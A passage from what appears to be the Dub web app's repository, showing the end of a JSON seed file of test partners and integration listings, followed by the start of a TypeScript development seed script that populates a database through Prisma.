\"email\": \"partner3@dub-internal-test.com\",\n        \"emailVerified\": \"2026-01-21T00:00:00.000Z\"\n      }\n    },\n    {\n      \"id\": \"pn_1K2J9DRWPPJ2F1RX53N92TSGG\",\n      \"name\": \"Partner 4\",\n      \"email\": \"partner4@dub-internal-test.com\",\n      \"description\": \"Partner 4 description\",\n      \"country\": \"US\",\n      \"createdAt\": \"2026-01-21T00:00:00.000Z\",\n      \"user\": {\n        \"id\": \"user_cludszk1h0000wmd2e0ea2b0v\",\n        \"name\": \"Partner 4\",\n        \"email\": \"partner4@dub-internal-test.com\",\n        \"emailVerified\": \"2026-01-21T00:00:00.000Z\"\n      }\n    },\n    {\n      \"id\": \"pn_1K2J9DRWPPJ2F1RX53N92TSGH\",\n      \"name\": \"Partner 5\",\n      \"email\": \"partner5@dub-internal-test.com\",\n      \"description\": \"Partner 5 description\",\n      \"country\": \"US\",\n      \"createdAt\": \"2026-01-21T00:00:00.000Z\",\n      \"user\": {\n        \"id\": \"user_cludszk1h0000wmd2e0ea2b0w\",\n        \"name\": \"Partner 5\",\n        \"email\": \"partner5@dub-internal-test.com\",\n        \"emailVerified\": \"2026-01-21T00:00:00.000Z\"\n      }\n    }\n  ],\n  \"integrations\": [\n    {\n      \"id\": \"clzlmyxup0001jeqyaka3dvdd\",\n      \"name\": \"Make.com\",\n      \"slug\": \"make\",\n      \"description\": \"Connect your Dub workspace to 2,000+ apps via Make.com.\",\n      \"readme\": \"This is the official Make.com integration for Dub. Make.com lets you connect Dub with thousands of the most popular apps in just a few clicks. Choose from thousands of ready-made apps or use our no-code toolkit to connect to apps.\\n\\n## Features\\n\\nThe following modules are supported.\\n- Create a link\\n- Update a link\\n- Retrieve a link\\n- Upsert a link\\n- Delete a link\\n- Make an API Call\\n\\n## How to install\\n1. Click on \\\"Enable\\\"\\n2. Allow Make.com to access your Dub workspace\\n3. Now, you can use Dub modules in Make.com to create visual automated workflows.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://www.make.com/en/integrations/dub\",\n      \"logo\": \"https://dubassets.com/integrations/clzlmyxup0001jeqyaka3dvdd_GSp2tii\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/VCgvW2LjXsLoIFv2\",\n        \"https://dubassets.com/integration-screenshots/i5VhxZPsiir0O4Mm\",\n        \"https://dubassets.com/integration-screenshots/RydWo5Vuti1md99Y\",\n        \"https://dubassets.com/integration-screenshots/B8vnuWTDNn522PeO\",\n        \"https://dubassets.com/integration-screenshots/69orbl78A9a6sABs\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://d.to/make\",\n      \"category\": \"Automations\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"clzlmyzlx0005jeqy95pjrwbz\",\n      \"name\": \"Raycast\",\n      \"slug\": \"raycast\",\n      \"description\": \"Shorten and manage your links directly in Raycast.\",\n      \"readme\": \"This is the official Raycast integration for Dub.\\n\\n## Features\\n\\n- Shorten links & assign tags to them\\n- See a list of short links along with their respective analytics\\n\\n## How to install\\n\\nYou can install the Dub Raycast integration [here](https://d.to/ray).\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co\",\n      \"logo\": \"https://dubassets.com/integrations/clzlmyzlx0005jeqy95pjrwbz_Yg767eU\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/b1SsigyIcIiCM5rg\",\n        \"https://dubassets.com/integration-screenshots/elx3p7U5ryWEZR1T\",\n        \"https://dubassets.com/integration-screenshots/eZlq9CUYDxHuNOYj\",\n        \"https://dubassets.com/integration-screenshots/fHIXRcOf1ctCWbKZ\",\n        \"https://dubassets.com/integration-screenshots/jUjNz70iIpN6vOoX\",\n        \"https://dubassets.com/integration-screenshots/ueytiiNoIKpHaK83\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://d.to/ray\",\n      \"category\": \"Productivity\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"clzlmz336000fjeqynwhfv8vo\",\n      \"name\": \"Zapier\",\n      \"slug\": \"zapier\",\n      \"description\": \"Connect your Dub workspace to 7,000+ apps via Zapier.\",\n      \"readme\": \"This is the official Zapier integration for Dub. It's easy to implement, does not require coding, and allows you to connect Dub with other apps in minutes.\\n\\n## Supported actions\\n\\n**Dub Links**:\\n- [Create link](https://dub.co/docs/api-reference/endpoint/create-a-link)\\n- [Retrieve link](https://dub.co/docs/api-reference/endpoint/retrieve-a-link)\\n- [Update link](https://dub.co/docs/api-reference/endpoint/update-a-link)\\n- [Upsert link](https://dub.co/docs/api-reference/endpoint/upsert-a-link)\\n- [Delete link](https://dub.co/docs/api-reference/endpoint/delete-a-link)\\n\\n**Dub Partners**:\\n- [Track a lead event](https://dub.co/docs/api-reference/endpoint/track-lead)\\n- [Track a sale event](https://dub.co/docs/api-reference/endpoint/track-sale)\\n\\n## Supported triggers\\n\\n**Dub Links**\\n- `link.created`\\n- `link.updated`\\n- `link.deleted`\\n- `link.clicked`\\n\\n**Dub Partners**\\n- `lead.created`\\n- `sale.created`\\n- `partner.enrolled`\\n- `partner.application_submitted`\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://zapier.com/apps/dub/integrations\",\n      \"logo\": \"https://dubassets.com/integrations/clzlmz336000fjeqynwhfv8vo_S4yz4ak\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/bEld4Gv6Fq0fK71z\",\n        \"https://dubassets.com/integration-screenshots/VNwGY2jNAWEyhbXm\",\n        \"https://dubassets.com/integration-screenshots/6P30UyuQYJDHnXOm\",\n        \"https://dubassets.com/integration-screenshots/eEhRKYPBxeqdzrHO\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://d.to/zapier\",\n      \"category\": \"Automations\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"clzra1ya60001wnj4a89zcg9h\",\n      \"name\": \"Stripe\",\n      \"slug\": \"stripe\",\n      \"description\": \"Track how your links are converting to sales on Stripe.\",\n      \"readme\": \"Integrate with Stripe to automatically track sale [conversion events](https://dub.co/help/article/dub-conversions) when someone makes a purchase via one of your Dub short links.\\n\\n[Read the docs](https://dub.co/docs/conversions/sales/stripe) on how to set this up.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://marketplace.stripe.com/apps/dub-conversions\",\n      \"logo\": \"https://dubassets.com/integrations/clzra1ya60001wnj4a89zcg9h_jtyaGa7\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/AP9z3b8HsDIOVQMq\",\n        \"https://dubassets.com/integration-screenshots/y9CMwUxLbO7pjXJM\",\n        \"https://dubassets.com/integration-screenshots/W94e40NcUlUlB5Bq\",\n        \"https://dubassets.com/integration-screenshots/PZkxLsI8yG65qo0n\",\n        \"https://dubassets.com/integration-screenshots/WkeZCSZOOSEukIlT\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://marketplace.stripe.com/apps/dub\",\n      \"category\": \"Payments\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"clzrjifgn0004tyvlu72oxcc2\",\n      \"name\": \"WordPress\",\n      \"slug\": \"wordpress\",\n      \"description\": \"Offical WordPress integration for Dub.\",\n      \"readme\": \"This is the official WordPress Integration for Dub. It uses [Dub's API](https://dub.co/api) to programmatically shorten links inside Wordpress.\\n\\nFeatures:\\n- Automatically create short links when a new post is published\\n- Edit short link slugs directly inside WordPress\\n- Track [conversion events](https://dub.co/help/article/dub-conversions) from link click to account signups\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://wordpress.org/plugins/dubinc\",\n      \"logo\": \"https://dubassets.com/integrations/clzrjifgn0004tyvlu72oxcc2_GrLz146\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/pVyCJ0nCMk8vFdzV\",\n        \"https://dubassets.com/integration-screenshots/Q16c06AFd08y1xWq\",\n        \"https://dubassets.com/integration-screenshots/t213OS2erwTHuUY4\",\n        \"https://dubassets.com/integration-screenshots/4BMcLwc1K5TzGZKW\",\n        \"https://dubassets.com/integration-screenshots/Rn8LaG1kULTmmlgM\",\n        \"https://dubassets.com/integration-screenshots/DGSvRclGjQtYLtWO\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://wordpress.org/plugins/dubinc\",\n      \"category\": \"CMS\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"clzu59rx9000110bm5fnlzwuj\",\n      \"name\": \"Slack\",\n      \"slug\": \"slack\",\n      \"description\": \"Shorten and manage your links directly in Slack.\",\n      \"readme\": \"This is the official Slack integration for Dub to create and share short links directly in Slack.\\n\\n## Features\\n- Shorten links directly in Slack\\n- Customize the domain and link path if needed\\n\\n## How to install\\n1. Click on \\\"Enable\\\"\\n2. Allow Dub to send messages to your Slack channels\\n3. You can now use Dub's slash commands `/shorten` to create short links.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://d.to/slack\",\n      \"logo\": \"https://dubassets.com/integrations/clzu59rx9000110bm5fnlzwuj_Y93aiyc\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/sjCSeH5xHsY9UW6C\",\n        \"https://dubassets.com/integration-screenshots/vFYafTOdc2l7Sq5F\",\n        \"https://dubassets.com/integration-screenshots/bW9pAcP5oPVL76VS\",\n        \"https://dubassets.com/integration-screenshots/H8BqDHlDBGIQRZj0\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Productivity\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_1JTHYWTFB84YSJV3QEZ8XGZXN\",\n      \"name\": \"Better Auth\",\n      \"slug\": \"better-auth\",\n      \"description\": \"Track Better Auth signup events with Dub Conversions.\",\n      \"readme\": \"This is the official Better Auth integration for Dub to [track conversion events](https://dub.co/docs/conversions/quickstart) in your Better Auth application.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://www.better-auth.com\",\n      \"logo\": \"https://dubassets.com/integrations/int_1JTHYWTFB84YSJV3QEZ8XGZXN_JdEC95Z\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/BQ30guSSjzVAtzgm\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Authentication\",\n      \"comingSoon\": 0,\n      \"guideUrl\": \"https://dub.co/docs/conversions/leads/better-auth\"\n    },\n    {\n      \"id\": \"int_1JV8YSBDPD2435DXQPFGHHB8C\",\n      \"name\": \"Cal.com\",\n      \"slug\": \"cal\",\n      \"description\": \"Track how your links are converting to meeting bookings on Cal.com.\",\n      \"readme\": \"Integrate with Cal.com to automatically track [lead conversion events](https://dub.co/docs/conversions/leads/introduction) when someone books a meeting via one of your Dub short links.\\n\\nUseful for tracking SaaS enterprise leads or agency meeting bookings.\\n\\n## Installation steps\\n\\n1. Click on \\\"Enable\\\" to install the Dub app in the Cal.com App Store.\\n2. Set up the [`@dub/analytics` client-side script](https://dub.co/docs/sdks/client-side/introduction) on your site, and add both `app.cal.com` and `cal.com` to your [outbound domains](https://dub.co/docs/sdks/client-side/features/cross-domain-tracking).\\n3. Once a booking event occurs, the booker's details will automatically be tracked as a [lead event](https://dub.co/docs/conversions/leads/introduction) on Dub.\\n\\n## Example App\\n\\nCheck out this [open-source example](https://github.com/dubinc/examples/blob/main/conversions/cal) to learn more about how to integrate Cal.com and Dub to track meeting booking events.\",\n      \"developer\": \"Cal.com\",\n      \"website\": \"https://cal.com\",\n      \"logo\": \"https://dubassets.com/integrations/int_1JV8YSBDPD2435DXQPFGHHB8C_LTVhJln\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/15mi44jeIytjtEjc\",\n        \"https://dubassets.com/integration-screenshots/3tQKqxUUh2hQ4zTF\",\n        \"https://dubassets.com/integration-screenshots/qzdJL2ZuJ1SzMyCx\",\n        \"https://dubassets.com/integration-screenshots/H3q6KYXogQz1HRnL\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://app.cal.com/apps/dub\",\n      \"category\": \"Scheduling\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_1K0YR77SXYCMRDEJ92KJG29T0\",\n      \"name\": \"Google Tag Manager\",\n      \"slug\": \"gtm\",\n      \"description\": \"Track conversion events with Google Tag Manager and Dub\",\n      \"readme\": null,\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co\",\n      \"logo\": \"https://dubassets.com/integrations/int_1K0YR77SXYCMRDEJ92KJG29T0_aC6yfk4\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/ZcTQulksETtgSM39\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Analytics\",\n      \"comingSoon\": 0,\n      \"guideUrl\": \"https://dub.co/docs/conversions/leads/client-side\"\n    },\n    {\n      \"id\": \"int_bWyK6fhE0KpBg5wZSRN7DwWz\",\n      \"name\": \"Polar\",\n      \"slug\": \"polar\",\n      \"description\": \"Track how your links are converting to sales on Polar.\",\n      \"readme\": \"\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://polar.sh\",\n      \"logo\": \"https://dubassets.com/integrations/int_bWyK6fhE0KpBg5wZSRN7DwWz_3nfkIc7\",\n      \"screenshots\": [],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Payments\",\n      \"comingSoon\": 1,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_ffw3qgrFAahY6qs1hXaH3wHS\",\n      \"name\": \"Hubspot\",\n      \"slug\": \"hubspot\",\n      \"description\": \"Track Hubspot leads/deal changes and auto-generate partner commissions on Dub.\",\n      \"readme\": \"Easily track and attribute leads and sales from HubSpot inside Dub.\\n\\n## Features\\n\\n- Bidirectional sync between HubSpot contacts and Dub lead events\\n- Automatic attribution of leads to the exact Dub link or partner\\n- Support for HubSpot Forms and HubSpot Meeting Scheduler\\n- Closed Won sale tracking\\n\\n## Setup process\\n\\n1. Enable conversion tracking in Dub\\n2. Install the `@dub/analytics` script on your site\\n3. Connect HubSpot via the Dub integration\\n4. (Optional) Set your custom **Closed Won Deal Stage ID**\\n\\nOnce connected, Dub gives you full visibility into your funnel — from click → lead → meeting → Closed Won revenue.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co/docs/conversions/leads/hubspot\",\n      \"logo\": \"https://dubassets.com/integrations/int_ffw3qgrFAahY6qs1hXaH3wHS_JPoCPOh\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/HkHxRtAmXLznxS33\",\n        \"https://dubassets.com/integration-screenshots/AVdtxIm3Neht6ten\",\n        \"https://dubassets.com/integration-screenshots/Rw0a3Eoizx3JXczD\",\n        \"https://dubassets.com/integration-screenshots/qIknpqLYkJVNy71x\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Scheduling\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_h6V1CeFEH8WD5FOMfKpbopJb\",\n      \"name\": \"Typefully\",\n      \"slug\": \"typefully\",\n      \"description\": \"Automatically shorten every social link on Typefully with Dub.\",\n      \"readme\": \"\",\n      \"developer\": \"Typefully, Inc.\",\n      \"website\": \"https://typefully.com\",\n      \"logo\": \"https://dubassets.com/integrations/int_h6V1CeFEH8WD5FOMfKpbopJb_qlATYcv\",\n      \"screenshots\": [],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Social Media\",\n      \"comingSoon\": 1,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_HkSNVafYEVt1DVrTZxavVond\",\n      \"name\": \"Supabase\",\n      \"slug\": \"supabase\",\n      \"description\": \"Track Supabase signup events with Dub Conversions.\",\n      \"readme\": \"\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co/docs/conversions/leads/supabase\",\n      \"logo\": \"https://dubassets.com/integrations/int_HkSNVafYEVt1DVrTZxavVond_UAmjOJn\",\n      \"screenshots\": [],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Authentication\",\n      \"comingSoon\": 0,\n      \"guideUrl\": \"https://dub.co/docs/conversions/leads/supabase\"\n    },\n    {\n      \"id\": \"int_iWOtrZgmcyU6XDwKr4AYYqLN\",\n      \"name\": \"Shopify\",\n      \"slug\": \"shopify\",\n      \"description\": \"Track how your links are converting to sales on Shopify.\",\n      \"readme\": \"Powerful real-time [conversion analytics](https://dub.co/analytics) for your Shopify store.\\n\\nFeatures:\\n- **Real-time conversion analytics**: See how your link clicks are converting to sales\\n- **Customer insights**: Measure your CAC and LTV to understand ROI on marketing spend\\n- **AI-powered insights**: Query your analytics using natural language\\n\\n[Read the docs](https://dub.co/docs/conversions/sales/shopify) on how to set this up.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://apps.shopify.com/dub-conversion-tracking\",\n      \"logo\": \"https://dubassets.com/integrations/int_iWOtrZgmcyU6XDwKr4AYYqLN_jUmF77W\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/vHP96JXi6lu59CWA\",\n        \"https://dubassets.com/integration-screenshots/SCe5zajrjz4SZxbq\",\n        \"https://dubassets.com/integration-screenshots/rhRBhAxck04tkqdj\",\n        \"https://dubassets.com/integration-screenshots/oLkfdYBTxIFAoY5u\",\n        \"https://dubassets.com/integration-screenshots/WeibSgHT5GxFTXE2\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://d.to/shopify\",\n      \"category\": \"Payments\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_v9mi4mw68mW3ZUx3o5jdM6uG\",\n      \"name\": \"Publer\",\n      \"slug\": \"publer\",\n      \"description\": \"Automatically shorten every social link on Publer with Dub.\",\n      \"readme\": \"**[Publer](https://publer.com)** is a social media management platform that empowers creators to schedule and publish posts across all major social networks. Through the **Dub** integration, you can automatically shorten every link you share via Publer—keeping your posts clean and engaging.\\n\\n**Key Benefits**:\\n\\n- **Automatic Link Shortening:** No extra steps are needed. Publer will shorten all your links in real time.  \\n- **Better Post Aesthetics:** Shorter links mean cleaner posts, reducing clutter and making your content more reader-friendly.  \\n- **Analytics & Insights:** Dub provides click tracking and analytics, allowing you to measure engagement and refine your social media strategy.\\n\\n**Getting Started:**\\n1. Connect your Dub account in Publer’s social account settings.\\n2. Schedule your social media posts as usual.  \\n3. Sit back and let Publer automatically shorten all your links with Dub!\",\n      \"developer\": \"Kalemi Code LLC\",\n      \"website\": \"https://publer.com/help/en/article/how-to-set-up-dub-url-shortener-16uuhzd/\",\n      \"logo\": \"https://dubassets.com/integrations/int_v9mi4mw68mW3ZUx3o5jdM6uG_0r1AqTO\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/y0LO3V9MtsbbWilH\",\n        \"https://dubassets.com/integration-screenshots/R80UvlENvedyONIb\",\n        \"https://dubassets.com/integration-screenshots/uoHsNKr6E1STC4rh\",\n        \"https://dubassets.com/integration-screenshots/VBCVPcRC9ZBNoFFS\",\n        \"https://dubassets.com/integration-screenshots/YlDIMeJdDWlRrLmn\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": \"https://publer.com/help/en/article/how-to-set-up-dub-url-shortener-16uuhzd\",\n      \"category\": \"Social Media\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    },\n    {\n      \"id\": \"int_VmUeF9RNLsjDzQHkJrRYd4IO\",\n      \"name\": \"Appwrite\",\n      \"slug\": \"appwrite\",\n      \"description\": \"Track Appwrite signup events with Dub Conversions.\",\n      \"readme\": \"\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co/docs/conversions/leads/appwrite\",\n      \"logo\": \"https://dubassets.com/integrations/int_VmUeF9RNLsjDzQHkJrRYd4IO_wpaOebv\",\n      \"screenshots\": [],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Authentication\",\n      \"comingSoon\": 0,\n      \"guideUrl\": \"https://dub.co/docs/conversions/leads/appwrite\"\n    },\n    {\n      \"id\": \"int_YHNfa4Z2ykEA36dveebt4h4g\",\n      \"name\": \"Clerk\",\n      \"slug\": \"clerk\",\n      \"description\": \"Track Clerk signup events with Dub Conversions.\",\n      \"readme\": \"\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://dub.co/docs/conversions/leads/clerk\",\n      \"logo\": \"https://dubassets.com/integrations/int_YHNfa4Z2ykEA36dveebt4h4g_cW2M2Gw\",\n      \"screenshots\": [],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Authentication\",\n      \"comingSoon\": 0,\n      \"guideUrl\": \"https://dub.co/docs/conversions/leads/clerk\"\n    },\n    {\n      \"id\": \"int_zGnSElTzimbz20OWnXerPoKv\",\n      \"name\": \"Segment\",\n      \"slug\": \"segment\",\n      \"description\": \"Send and receive events between your Dub and Segment workspaces.\",\n      \"readme\": \"Connect Dub with Segment and stream real-time events from your Dub workspace to your Segment workspace.\\n\\nSupported events:\\n\\n- [`link.clicked`](https://dub.co/docs/concepts/webhooks/event-types#link-clicked)\\n- [`lead.created`](https://dub.co/docs/concepts/webhooks/event-types#lead-created)\\n- [`sale.created`](https://dub.co/docs/concepts/webhooks/event-types#sale-created)\\n\\nComing soon: Sending events from Segment to Dub.\",\n      \"developer\": \"Dub\",\n      \"website\": \"https://segment.com/docs/connections/sources/catalog/cloud-apps/dub\",\n      \"logo\": \"https://dubassets.com/integrations/int_zGnSElTzimbz20OWnXerPoKv_Noy3Xhk\",\n      \"screenshots\": [\n        \"https://dubassets.com/integration-screenshots/MvHnxSLGU3hMNMQk\",\n        \"https://dubassets.com/integration-screenshots/oXrlBPJjgd2fGCiP\",\n        \"https://dubassets.com/integration-screenshots/OPL4HS3z0i4R6q0B\",\n        \"https://dubassets.com/integration-screenshots/xMh9URKttuacj3qR\"\n      ],\n      \"verified\": 1,\n      \"installUrl\": null,\n      \"category\": \"Analytics\",\n      \"comingSoon\": 0,\n      \"guideUrl\": null\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/scripts/dev/seed.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { hashPassword } from \"@/lib/auth/password\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  Domain,\n  Folder,\n  Integration,\n  Partner,\n  PartnerGroup,\n  PartnerGroupDefaultLink,\n  Prisma,\n  Program,\n  Project,\n  Reward,\n  User,\n  WorkspaceRole,\n} from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport fs from \"fs\";\nimport path from \"path\";\nimport readline from \"readline\";\n\ntype Workspace = Pick<\n  Project,\n  | \"id\"\n  | \"name\"\n  | \"slug\"\n  | \"plan\"\n  | \"logo\"\n  | \"billingCycleStart\"\n  | \"usageLimit\"\n  | \"linksLimit\"\n  | \"payoutsLimit\"\n  | \"domainsLimit\"\n  | \"tagsLimit\"\n  | \"foldersLimit\"\n  | \"usersLimit\"\n  | \"aiLimit\"\n  | \"groupsLimit\"\n  | \"defaultProgramId\"\n  | \"invoicePrefix\"\n  | \"conversionEnabled\"\n  | \"webhookEnabled\"\n  | \"dotLinkClaimed\"\n  | \"fastDirectDebitPayouts\"\n>;\n\ntype DomainSeed = Pick<Domain, \"id\" | \"slug\" | \"verified\">;\n\ntype FolderSeed = Pick<Folder, \"id\" | \"name\" | \"description\" | \"accessLevel\">;\n\ntype RewardSeed = Pick<\n  Reward,\n  | \"id\"\n  | \"programId\"\n  | \"event\"\n  | \"type\"\n  | \"amountInCents\"\n  | \"amountInPercentage\"\n  | \"maxDuration\"\n  | \"description\"\n  | \"tooltipDescription\"\n>;\n\ntype GroupSeed = Pick<\n  PartnerGroup,\n  | \"id\"\n  | \"name\"\n  | \"slug\"\n  | \"color\"\n  | \"leadRewardId\"\n  | \"saleRewardId\"\n  | \"additionalLinks\"\n> & {\n  defaultLinks: Pick<PartnerGroupDefaultLink, \"url\">[];\n};\n\ntype ProgramSeed = Omit<\n  Pick<\n    Program,\n    | \"id\"\n    | \"name\"\n    | \"slug\"\n    | \"logo\"\n    | \"defaultFolderId\"\n    | \"defaultGroupId\"\n    | \"domain\"\n    | \"url\"\n    | \"termsUrl\"\n    | \"helpUrl\"\n    | \"supportEmail\"\n    | \"messagingEnabledAt\"\n    | \"partnerNetworkEnabledAt\"\n  >,\n  \"messagingEnabledAt\" | \"partnerNetworkEnabledAt\"\n> & {\n  messagingEnabledAt: string;\n  partnerNetworkEnabledAt: string;\n};\n\ninterface WorkspaceUser extends Pick<User, \"id\" | \"name\" | \"email\"> {\n  emailVerified: string;\n  role: WorkspaceRole;\n}\n\ntype PartnerSeed = Pick<\n  Partner,\n  \"id\" | \"name\" | \"email\" | \"description\" | \"country\"\n> & {\n  createdAt: string;\n  user: Pick<User, \"id\" | \"name\" | \"email\"> & {\n    emailVerified: string;\n  };\n};\n\ntype SeedData = {\n  workspace: Workspace;\n  users: WorkspaceUser[];\n  domains: DomainSeed[];\n  folders: FolderSeed[];\n  rewards: RewardSeed[];\n  groups: GroupSeed[];\n  program: ProgramSeed;\n  partners: PartnerSeed[];\n  integrations: Omit<\n    Integration,\n    \"id\" | \"projectId\" | \"userId\" | \"createdAt\" | \"updatedAt\"\n  >[];\n};\n\nconst parseJSON = (): SeedData => {\n  const jsonPath = path.join(__dirname, \"data.json\");\n  const jsonData = JSON.parse(fs.readFileSync(jsonPath, \"utf-8\"));\n  return jsonData;\n};\n\n// Create workspace\nconst createWorkspace = async (data: SeedData) => {\n  const { workspace } = data;\n\n  const { id } = await prisma.project.create({\n    data: workspace,\n  });\n\n  console.log(`Created workspace ${id}`);\n};\n\n// Create users\nconst createUsers = async (data: SeedData) => {\n  const { workspace, users } = data;\n\n  if (!users || users.length === 0) {\n    console.log(\"No users to insert\");\n    return;\n  }\n\n  const passwordHash = await hashPassword(\"password\");\n\n  const { count } = await prisma.user.createMany({\n    data: users.map((user) => ({\n      id: user.id,\n      name: user.name,\n      email: user.email,\n      emailVerified: new Date(user.emailVerified),\n      passwordHash,\n    })),\n  });\n\n  console.log(`Created ${count} users`);\n\n  const { count: projectUsersCount } = await prisma.projectUsers.createMany({\n    data: users.map((user) => ({\n      projectId: workspace.id,\n      userId: user.id,\n      role: user.role,\n    })),\n  });\n\n  console.log(`Created ${projectUsersCount} project users`);\n\n  // Query ProjectUsers to get the actual IDs (since createMany doesn't return them)\n  const projectUsers = await prisma.projectUsers.findMany({\n    where: {\n      projectId: workspace.id,\n      userId: { in: users.map((u) => u.id) },\n    },\n  });\n\n  // Map userId -> projectUser.id\n  const userIdToProjectUserId = new Map(\n    projectUsers.map((pu) => [pu.userId, pu.id]),\n  );\n\n  const { count: notificationPreferencesCount } =\n    await prisma.notificationPreference.createMany({\n      data: users.map((user) => ({\n        projectUserId: userIdToProjectUserId.get(user.id)!,\n      })),\n    });\n\n  console.log(\n    `Created ${notificationPreferencesCount} notification preferences`,\n  );\n};\n\n// Create domains\nconst createDomains = async (data: SeedData) => {\n  const { domains, workspace } = data;\n\n  if (!domains || domains.length === 0) {\n    console.log(\"No domains to insert\");\n    return;\n  }\n\n  const { count } = await prisma.domain.createMany({\n    data: domains.map((domain) => ({\n      id: domain.id,\n      slug: domain.slug,\n      verified: domain.verified,\n      projectId: workspace.id,\n    })),\n  });\n\n  console.log(`Created ${count} domains`);\n};\n\n// Create folders\nconst createFolders = async (data: SeedData) => {\n  const { folders, workspace } = data;\n\n  if (!folders || folders.length === 0) {\n    console.log(\"No folders to insert\");\n    return;\n  }\n\n  const { count } = await prisma.folder.createMany({\n    data: folders.map((folder) => ({\n      id: folder.id,\n      name: folder.name,\n      description: folder.description,\n      projectId: workspace.id,\n      accessLevel: folder.accessLevel,\n    })),\n  });\n\n  console.log(`Created ${count} folders`);\n};\n\n// Create rewards\nconst createRewards = async (data: SeedData) => {\n  const { rewards, program } = data;\n\n  if (!rewards || rewards.length === 0) {\n    console.log(\"No rewards to insert\");\n    return;\n  }\n\n  if (!program) {\n    console.log(\"Program is required to create rewards\");\n    return;\n  }\n\n  const { count } = await prisma.reward.createMany({\n    data: rewards.map((reward) => ({\n      id: reward.id,\n      programId: program.id,\n      event: reward.event,\n      type: reward.type,\n      amountInCents: reward.amountInCents,\n      amountInPercentage: reward.amountInPercentage\n        ? new Prisma.Decimal(reward.amountInPercentage)\n        : null,\n      maxDuration: reward.maxDuration,\n      description: reward.description,\n      tooltipDescription: reward.tooltipDescription,\n    })),\n  });\n\n  console.log(`Created ${count} rewards`);\n};\n\n// Create groups\nconst createGroups = async (data: SeedData) => {\n  const { groups, program } = data;\n\n  if (!groups || groups.length === 0) {\n    console.log(\"No groups to insert\");\n    return;\n  }\n\n  if (!program) {\n    console.log(\"Program is required to create groups\");\n    return;\n  }\n\n  const { count } = await prisma.partnerGroup.createMany({\n    data: groups.map((group) => ({\n      id: group.id,\n      programId: program.id,\n      name: group.name,\n      slug: group.slug,\n      color: group.color ?? null,\n      leadRewardId: group.leadRewardId ?? null,\n      saleRewardId: group.saleRewardId ?? null,\n      additionalLinks: group.additionalLinks as Prisma.JsonArray,\n    })),\n  });\n\n  console.log(`Created ${count} groups`);\n\n  const defaultLinks = groups.flatMap((group) =>\n    group.defaultLinks.map((link) => ({\n      groupId: group.id,\n      url: link.url,\n    })),\n  );\n\n  const { count: defaultLinksCount } =\n    await prisma.partnerGroupDefaultLink.createMany({\n      data: defaultLinks.map((link) => ({\n        id: createId({ prefix: \"pgdl_\" }),\n        programId: program.id,\n        domain: program.domain!,\n        groupId: link.groupId,\n        url: link.url,\n      })),\n    });\n\n  console.log(`Created ${defaultLinksCount} default links`);\n};\n\n// Create program\nconst createProgram = async (data: SeedData) => {\n  const 